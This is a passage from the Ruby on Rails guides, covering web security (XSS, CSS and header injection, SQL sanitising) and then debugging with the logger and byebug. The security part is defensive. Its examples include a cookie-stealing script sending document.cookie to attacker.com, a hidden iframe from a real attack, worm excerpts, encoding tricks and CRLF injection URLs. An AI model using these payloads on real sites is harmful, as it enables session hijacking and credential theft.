Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. Using Model.find(id) or Model.find_by_some thing(something) automatically applies this countermeasure. But in SQL fragments, especially in conditions fragments (where("...")), the connection.execute() or Model.find_by_sql() methods, it has to be applied manually.

Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:

Model.where("login = ? AND password = ?", entered_user_name, entered_password).first

As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:

Model.where(login: entered_user_name, password: entered_password).first

The array or hash form is only available in model instances. You can try sanitize_sql() elsewhere. Make it a habit to think about the security consequences when using an external string in SQL.

7.3 Cross-Site Scripting (XSS)

The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off.

7.3.1 Entry Points

An entry point is a vulnerable URL and its parameters where an attacker can start an attack.

The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter - obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the Live HTTP Headers Firefox plugin, or client-site proxies make it easy to change requests.

XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.

During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The Symantec Global Internet Security threat report also documented 239 browser plug-in vulnerabilities in the last six months of 2007. Mpack is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets.

A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to Trend Micro.

7.3.2 HTML/JavaScript Injection

The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. Escaping user input is essential.

Here is the most straightforward test to check for XSS:

<script>alert('Hello');</script>

This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:

<img src=javascript:alert('Hello')>
<table background="javascript:alert('Hello')">

7.3.2.1 Cookie Theft

These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:

<script>document.write(document.cookie);</script>

For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie.

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

The log files on www.attacker.com will read like this:

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

You can mitigate these attacks (in the obvious way) by adding the httpOnly flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies will still be visible using Ajax, though.

7.3.2.2 Defacement

With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:

<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>

This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the Mpack attack framework. Mpack tries to install malicious software through security holes in the web browser - very successfully, 50% of the attacks succeed.

A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.

Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":

http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
<script src=http://www.securitylab.ru/test/sc.js></script><!--

7.3.2.3 Countermeasures

It is very important to filter malicious input, but it is also important to escape the output of the web application.

Especially for XSS, it is important to do whitelist input filtering instead of blacklist. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.

Imagine a blacklist deletes "script" from the user input. Now the attacker injects "<scrscriptipt>", and after the filter, "<script>" remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:

strip_tags("some<<b>script>alert('hello')<</b>/script>")

This returned "some<script>alert('hello')</script>", which makes an attack work. That's why a whitelist approach is better, using the updated Rails 2 method sanitize():

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, tags: tags, attributes: %w(href title))

This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.

As a second step, it is good practice to escape all output of the application, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). Use escapeHTML() (or its alias h()) method to replace the HTML input characters &, ", <, and > by their uninterpreted representations in HTML (&amp;, &quot;, &lt;, and &gt;). However, it can easily happen that the programmer forgets to use it, so _it is recommended to use the SafeErb gem. SafeErb reminds you to escape strings from external sources.

7.3.2.4 Obfuscation and Encoding Injection

Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus "get to know your enemy", is the Hackvertor. Rails' sanitize() method does a good job to fend off encoding attacks.

7.3.3 Examples from the Underground

In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors.

The following is an excerpt from the Js.Yamanner@m Yahoo! Mail worm. It appeared on June 11, 2006 and was the first webmail interface worm:

<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
target=""onload="var http_request = false;    var Email = '';
var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...

The worms exploit a hole in Yahoo's HTML/JavaScript filter, which usually filters all targets and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.

Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on Rosario Valotta's paper. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.

In December 2006, 34,000 actual user names and passwords were stolen in a MySpace phishing attack. The idea of the attack was to create a profile page named "login_home_index_html", so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.

7.4 CSS Injection

CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application.

CSS Injection is explained best by the well-known MySpace Samy worm. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, which created so much traffic that MySpace went offline. The following is a technical explanation of that worm.

MySpace blocked many tags, but allowed CSS. So the worm's author put JavaScript into CSS like this:

<div style="background:url('javascript:alert(1)')">

So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy eval() function which executes any string as code.

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">

The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word "innerHTML":

alert(eval('document.body.inne' + 'rHTML'));

The next problem was MySpace filtering the word "javascript", so the author used "java<NEWLINE>script" to get around this:

<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">

Another problem for the worm's author was the CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token.

In the end, he got a 4 KB worm, which he injected into his profile page.

The moz-binding CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).

7.4.1 Countermeasures

This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, it may be hard to find a good whitelist CSS filter. If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application. Use Rails' sanitize() method as a model for a whitelist CSS filter, if you really need one.

7.5 Textile Injection

If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. RedCloth is such a language for Ruby, but without precautions, it is also vulnerable to XSS.

For example, RedCloth translates _test_ to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the all-new version 4 that removed serious bugs. However, even that version has some security bugs, so the countermeasures still apply. Here is an example for version 3.0.4:

RedCloth.new('<script>alert(1)</script>').to_html
# => "<script>alert(1)</script>"

Use the :filter_html option to remove HTML which was not created by the Textile processor.

RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
# => "alert(1)"

However, this does not filter all HTML, a few tags will be left (by design), for example <a>:

RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"

7.5.1 Countermeasures

It is recommended to use RedCloth in combination with a whitelist input filter, as described in the countermeasures against XSS section.

7.6 Ajax Injection

The same security precautions have to be taken for Ajax actions as for "normal" ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view.

If you use the in_place_editor plugin, or actions that return a string, rather than rendering a view, you have to escape the return value in the action. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.

7.7 Command Line Injection

Use user-supplied command line parameters with caution.

If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and command. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).

A countermeasure is to use the system(command, parameters) method which passes command line parameters safely.

system("/bin/echo","hello; rm *")
# prints "hello; rm *" and does not delete files

7.8 Header Injection

HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting.

HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. Remember to escape these header fields, too. For example when you display the user agent in an administration area.

Besides that, it is important to know what you are doing when building response headers partly based on user input. For example you want to redirect the user back to a specific page. To do that you introduced a "referer" field in a form to redirect to the given address:

redirect_to params[:referer]

What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld

And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld

Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.

HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld

So attack vectors for Header Injection are based on the injection of CRLF characters in a header field. And what could an attacker do with a false redirection? They could redirect to a phishing site that looks the same as yours, but ask to login again (and sends the login credentials to the attacker). Or they could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the redirect_to method. Make sure you do it yourself when you build other header fields with user input.

7.8.1 Response Splitting

If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:

HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:
Content-Type: text/html

HTTP/1.1 200 OK [Second New response created by attacker begins]
Content-Type: text/html

&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitrary malicious input is
Keep-Alive: timeout=15, max=100         shown as the redirected page]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.

8 Unsafe Query Generation

Due to the way Active Record interprets parameters in combination with the way that Rack parses query parameters it was possible to issue unexpected database queries with IS NULL where clauses. As a response to that security issue (CVE-2012-2660, CVE-2012-2694 and CVE-2013-0155) deep_munge method was introduced as a solution to keep Rails secure by default.

Example of vulnerable code that could be used by attacker, if deep_munge wasn't performed is:

unless params[:token].nil?
user = User.find_by_token(params[:token])
user.reset_password!
end

When params[:token] is one of: [nil], [nil, nil, ...] or ['foo', nil] it will bypass the test for nil, but IS NULL or IN ('foo', NULL) where clauses still will be added to the SQL query.

To keep rails secure by default, deep_munge replaces some of the values with nil. Below table shows what the parameters look like based on JSON sent in request:

JSON

Parameters

{ "person": null }

{ :person => nil }

{ "person": [] }

{ :person => [] }

{ "person": [null] }

{ :person => [] }

{ "person": [null, null, ...] }

{ :person => [] }

{ "person": ["foo", null] }

{ :person => ["foo"] }

It is possible to return to old behavior and disable deep_munge configuring your application if you are aware of the risk and know how to handle it:

config.action_dispatch.perform_deep_munge = false

9 Default Headers

Every HTTP response from your Rails application receives the following default security headers.

config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN',
'X-XSS-Protection' => '1; mode=block',
'X-Content-Type-Options' => 'nosniff'
}

You can configure default headers in config/application.rb.

config.action_dispatch.default_headers = {
'Header-Name' => 'Header-Value',
'X-Frame-Options' => 'DENY'
}

Or you can remove them.

config.action_dispatch.default_headers.clear

Here is a list of common headers:

- X-Frame-Options: 'SAMEORIGIN' in Rails by default - allow framing on same domain. Set it to 'DENY' to deny framing at all or 'ALLOWALL' if you want to allow framing for all website.

- X-XSS-Protection: '1; mode=block' in Rails by default - use XSS Auditor and block page if XSS attack is detected. Set it to '0;' if you want to switch XSS Auditor off(useful if response contents scripts from request parameters)

- X-Content-Type-Options: 'nosniff' in Rails by default - stops the browser from guessing the MIME type of a file.

- X-Content-Security-Policy: A powerful mechanism for controlling which sites certain content types can be loaded from

- Access-Control-Allow-Origin: Used to control which sites are allowed to bypass same origin policies and send cross-origin requests.

- Strict-Transport-Security: Used to control if the browser is allowed to only access a site over a secure connection

10 Environmental Security

It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. config/database.yml, and your server-side secret, e.g. stored in config/secrets.yml. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information.

10.1 Custom secrets

Rails generates a config/secrets.yml. By default, this file contains the application's secret_key_base, but it could also be used to store other secrets such as access keys for external APIs.

The secrets added to this file are accessible via Rails.application.secrets. For example, with the following config/secrets.yml:

development:
secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
some_api_key: SOMEKEY

Rails.application.secrets.some_api_key returns SOMEKEY in the development environment.

If you want an exception to be raised when some key is blank, use the bang version:

Rails.application.secrets.some_api_key! # => raises KeyError: key not found: :some_api_key

11 Additional Resources

The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:

- Subscribe to the Rails security mailing list

- Keep up to date on the other application layers (they have a weekly newsletter, too)

- A good security blog including the Cross-Site scripting Cheat Sheet

Debugging Rails Applications — Ruby on...

1 View Helpers for Debugging

One common task is to inspect the contents of a variable. Rails provides three different ways to do this:

- debug

- to_yaml

- inspect

1.1 debug

The debug helper will return a <pre> tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:

<%= debug @article %>
<p>
<b>Title:</b>
<%= @article.title %>
</p>

You'll see something like this:

--- !ruby/object Article
attributes:
updated_at: 2008-09-05 22:55:47
body: It's a very helpful guide for debugging your Rails app.
title: Rails debugging guide
published: t
id: "1"
created_at: 2008-09-05 22:55:47
attributes_cache: {}

Title: Rails debugging guide

1.2 to_yaml

Alternatively, calling to_yaml on any object converts it to YAML. You can pass this converted object into the simple_format helper method to format the output. This is how debug does its magic.

<%= simple_format @article.to_yaml %>
<p>
<b>Title:</b>
<%= @article.title %>
</p>

The above code will render something like this:

--- !ruby/object Article
attributes:
updated_at: 2008-09-05 22:55:47
body: It's a very helpful guide for debugging your Rails app.
title: Rails debugging guide
published: t
id: "1"
created_at: 2008-09-05 22:55:47
attributes_cache: {}

Title: Rails debugging guide

1.3 inspect

Another useful method for displaying object values is inspect, especially when working with arrays or hashes. This will print the object value as a string. For example:

<%= [1, 2, 3, 4, 5].inspect %>
<p>
<b>Title:</b>
<%= @article.title %>
</p>

Will render:

[1, 2, 3, 4, 5]

Title: Rails debugging guide

2 The Logger

It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.

2.1 What is the Logger?

Rails makes use of the ActiveSupport::Logger class to write log information. Other loggers, such as Log4r, may also be substituted.

You can specify an alternative logger in config/application.rb or any other environment file, for example:

config.logger = Logger.new(STDOUT)
config.logger = Log4r::Logger.new("Application Log")

Or in the Initializer section, add any of the following

Rails.logger = Logger.new(STDOUT)
Rails.logger = Log4r::Logger.new("Application Log")

By default, each log is created under Rails.root/log/ and the log file is named after the environment in which the application is running.

2.2 Log Levels

When something is logged, it's printed into the corresponding log if the log level of the message is equal to or higher than the configured log level. If you want to know the current log level, you can call the Rails.logger.level method.

The available log levels are: :debug, :info, :warn, :error, :fatal, and :unknown, corresponding to the log level numbers from 0 up to 5, respectively. To change the default log level, use

config.log_level = :warn # In any environment initializer, or
Rails.logger.level = 0 # at any time

This is useful when you want to log under development or staging without flooding your production log with unnecessary information.

The default Rails log level is debug in all environments.

2.3 Sending Messages

To write in the current log use the logger.(debug|info|warn|error|fatal) method from within a controller, model or mailer:

logger.debug "Person attributes hash: #{@person.attributes.inspect}"
logger.info "Processing the request..."
logger.fatal "Terminating application, raised unrecoverable error!!!"

Here's an example of a method instrumented with extra logging:

class ArticlesController < ApplicationController
# ...

def create
@article = Article.new(params[:article])
logger.debug "New article: #{@article.attributes.inspect}"
logger.debug "Article should be valid: #{@article.valid?}"

if @article.save
flash[:notice] =  'Article was successfully created.'
logger.debug "The article was saved and now the user is going to be redirected..."
redirect_to(@article)
else
render action: "new"
end
end

# ...
end

Here's an example of the log generated when this controller action is executed:

Processing ArticlesController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
Parameters: {"commit"=>"Create", "article"=>{"title"=>"Debugging Rails",
"body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
"authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"articles"}
New article: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
"published"=>false, "created_at"=>nil}
Article should be valid: true
Article Create (0.000443)   INSERT INTO "articles" ("updated_at", "title", "body", "published",
"created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
The article was saved and now the user is going to be redirected...
Redirected to # Article:0x20af760>
Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/articles]

Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels to avoid filling your production logs with useless trivia.

2.4 Tagged Logging

When running multi-user, multi-account applications, it's often useful to be able to filter the logs using some custom rules. TaggedLogging in Active Support helps you do exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.

logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
logger.tagged("BCX") { logger.info "Stuff" }                            # Logs "[BCX] Stuff"
logger.tagged("BCX", "Jason") { logger.info "Stuff" }                   # Logs "[BCX] [Jason] Stuff"
logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff"

2.5 Impact of Logs on Performance

Logging will always have a small impact on the performance of your Rails app, particularly when logging to disk. Additionally, there are a few subtleties:

Using the :debug level will have a greater performance penalty than :fatal, as a far greater number of strings are being evaluated and written to the log output (e.g. disk).

Another potential pitfall is too many calls to Logger in your code:

logger.debug "Person attributes hash: #{@person.attributes.inspect}"

In the above example, there will be a performance impact even if the allowed output level doesn't include debug. The reason is that Ruby has to evaluate these strings, which includes instantiating the somewhat heavy String object and interpolating the variables. Therefore, it's recommended to pass blocks to the logger methods, as these are only evaluated if the output level is the same as — or included in — the allowed level (i.e. lazy loading). The same code rewritten would be:

logger.debug {"Person attributes hash: #{@person.attributes.inspect}"}

The contents of the block, and therefore the string interpolation, are only evaluated if debug is enabled. This performance savings are only really noticeable with large amounts of logging, but it's a good practice to employ.

3 Debugging with the byebug gem

When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.

The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written into the underlying Rails code.

3.1 Setup

You can use the byebug gem to set breakpoints and step through live code in Rails. To install it, just run:

$ gem install byebug

Inside any Rails application you can then invoke the debugger by calling the byebug method.

Here's an example:

class PeopleController < ApplicationController
def new
byebug
@person = Person.new
end
end

3.2 The Shell

As soon as your application calls the byebug method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at the debugger's prompt (byebug). Before the prompt, the code around the line that is about to be run will be displayed and the current line will be marked by '=>', like this:

[1, 10] in /PathTo/project/app/controllers/articles_controller.rb
3:
4:   # GET /articles
5:   # GET /articles.json
6:   def index
7:     byebug
=>  8:     @articles = Article.find_recent
9:
10:     respond_to do |format|
11:       format.html # index.html.erb
12:       format.json { render json: @articles }

(byebug)

If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.

For example:

=> Booting Puma
=> Rails 5.0.0 application starting in development on http://0.0.0.0:3000
=> Run `rails server -h` for more startup options
Puma starting in single mode...
* Version 3.4.0 (ruby 2.3.1-p112), codename: Owl Bowl Brawl
* Min threads: 5, max threads: 5
* Environment: development
* Listening on tcp://localhost:3000
Use Ctrl-C to stop
Started GET "/" for 127.0.0.1 at 2014-04-11 13:11:48 +0200
ActiveRecord::SchemaMigration Load (0.2ms)  SELECT "schema_migrations".* FROM "schema_migrations"
Processing by ArticlesController#index as HTML

[3, 12] in /PathTo/project/app/controllers/articles_controller.rb
3:
4:   # GET /articles
5:   # GET /articles.json
6:   def index
7:     byebug
=>  8:     @articles = Article.find_recent
9:
10:     respond_to do |format|
11:       format.html # index.html.erb
12:       format.json { render json: @articles }
(byebug)

Now it's time to explore your application. A good place to start is by asking the debugger for help. Type: help

(byebug) help

break      -- Sets breakpoints in the source code
catch      -- Handles exception catchpoints
condition  -- Sets conditions on breakpoints
continue   -- Runs until program ends, hits a breakpoint or reaches a line
debug      -- Spawns a subdebugger
delete     -- Deletes breakpoints
disable    -- Disables breakpoints or displays
display    -- Evaluates expressions every time the debugger stops
down       -- Moves to a lower frame in the stack trace
edit       -- Edits source files
enable     -- Enables breakpoints or displays
finish     -- Runs the program until frame returns
frame      -- Moves to a frame in the call stack
help       -- Helps you using byebug
history    -- Shows byebug's history of commands
info       -- Shows several informations about the program being debugged
interrupt  -- Interrupts the program
irb        -- Starts an IRB session
kill       -- Sends a signal to the current process
list       -- Lists lines of source code
method     -- Shows methods of an object, class or module
next       -- Runs one or more lines of code
pry        -- Starts a Pry session
quit       -- Exits byebug
restart    -- Restarts the debugged program
save       -- Saves current byebug session to a file
set        -- Modifies byebug settings
show       -- Shows byebug settings
source     -- Restores a previously saved byebug session
step       -- Steps into blocks or methods one or more times
thread     -- Commands to manipulate threads
tracevar   -- Enables tracing of a global variable
undisplay  -- Stops displaying all or some expressions when program stops
untracevar -- Stops tracing a global variable
up         -- Moves to a higher frame in the stack trace
var        -- Shows variables and its values
where      -- Displays the backtrace

(byebug)

To see the previous ten lines you should type list- (or l-).

(byebug) l-

[1, 10] in /PathTo/project/app/controllers/articles_controller.rb
1  class ArticlesController < ApplicationController
2    before_action :set_article, only: [:show, :edit, :update, :destroy]
3
4    # GET /articles
5    # GET /articles.json
6    def index
7      byebug
8      @articles = Article.find_recent
9
10      respond_to do |format|

This way you can move inside the file and see the code above the line where you added the byebug call. Finally, to see where you are in the code again you can type list=

(byebug) list=

[3, 12] in /PathTo/project/app/controllers/articles_controller.rb
3:
4:   # GET /articles
5:   # GET /articles.json
6:   def index
7:     byebug
=>  8:     @articles = Article.find_recent
9:
10:     respond_to do |format|
11:       format.html # index.html.erb
12:       format.json { render json: @articles }
(byebug)

3.3 The Context

When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.

The debugger creates a context when a stopping point or an event is reached. The context has information about the suspended program which enables the debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and know the place where the debugged program is stopped.

At any time you can call the backtrace command (or its alias where) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then backtrace will supply the answer.

(byebug) where
--> #0  ArticlesController.index
at /PathToProject/app/controllers/articles_controller.rb:8
#1  ActionController::BasicImplicitRender.send_action(method#String, *args#Array)
at /PathToGems/actionpack-5.0.0/lib/action_controller/metal/basic_implicit_render.rb:4
#2  AbstractController::Base.process_action(action#NilClass, *args#Array)
at /PathToGems/actionpack-5.0.0/lib/abstract_controller/base.rb:181
#3  ActionController::Rendering.process_action(action, *args)
at /PathToGems/actionpack-5.0.0/lib/action_controller/metal/rendering.rb:30
...

The current frame is marked with -->. You can move anywhere you want in this trace (thus changing the context) by using the frame n command, where n is the specified frame number. If you do that, byebug will display your new context.

(byebug) frame 2

[176, 185] in /PathToGems/actionpack-5.0.0/lib/abstract_controller/base.rb
176:       # is the intended way to override action dispatching.
177:       #
178:       # Notice that the first argument is the method to be dispatched
179:       # which is *not* necessarily the same as the action name.
180:       def process_action(method_name, *args)
=> 181:         send_action(method_name, *args)
182:       end
183:
184:       # Actually call the method associated with the action. Override
185:       # this method if you wish to change how action methods are called,
(byebug)

The available variables are the same as if you were running the code line by line. After all, that's what debugging is.

You can also use up [n] and down [n] commands in order to change the context n frames up or down the stack respectively. n defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.

3.4 Threads

The debugger can list, stop, resume and switch between running threads by using the thread command (or the abbreviated th). This command has a handful of options:

- thread: shows the current thread.

- thread list: is used to list all threads and their statuses. The current thread is marked with a plus (+) sign.

- thread stop n: stops thread n.

- thread resume n: resumes thread n.

- thread switch n: switches the current thread context to n.

This command is very helpful when you are debugging concurrent threads and need to verify that there are no race conditions in your code.

3.5 Inspecting Variables

Any expression can be evaluated in the current context. To evaluate an expression, just type it!

This example shows how you can print the instance variables defined within the current context:

[3, 12] in /PathTo/project/app/controllers/articles_controller.rb
3:
4:   # GET /articles
5:   # GET /articles.json
6:   def index
7:     byebug
=>  8:     @articles = Article.find_recent
9:
10:     respond_to do |format|
11:       format.html # index.html.erb
12:       format.json { render json: @articles }

(byebug) instance_variables
[:@_action_has_layout, :@_routes, :@_request, :@_response, :@_lookup_context,
:@_action_name, :@_response_body, :@marked_for_same_origin_verification,
:@_config]

As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using next (you'll learn more about this command later in this guide).

(byebug) next

[5, 14] in /PathTo/project/app/controllers/articles_controller.rb
5     # GET /articles.json
6     def index
7       byebug
8       @articles = Article.find_recent
9
=> 10       respond_to do |format|
11         format.html # index.html.erb
12        format.json { render json: @articles }
13      end
14    end
15
(byebug)

And then ask again for the instance_variables:

(byebug) instance_variables
[:@_action_has_layout, :@_routes, :@_request, :@_response, :@_lookup_context,
:@_action_name, :@_response_body, :@marked_for_same_origin_verification,
:@_config, :@articles]

Now @articles is included in the instance variables, because the line defining it was executed.

You can also step into irb mode with the command irb (of course!). This will start an irb session within the context you invoked it.

The var method is the most convenient way to show variables and their values. Let's have byebug help us with it.

(byebug) help var

[v]ar <subcommand>

Shows variables and its values

var all      -- Shows local, global and instance variables of self.
var args     -- Information about arguments of the current scope
var const    -- Shows constants of an object.
var global   -- Shows global variables.
var instance -- Shows instance variables of self or a specific object.
var local    -- Shows local variables in current scope.

This is a great way to inspect the values of the current context variables. For example, to check that we have no local variables currently defined:

(byebug) var local
(byebug)

You can also inspect for an object method this way:

(byebug) var instance Article.new
@_start_transaction_state = {}
@aggregation_cache = {}
@association_cache = {}
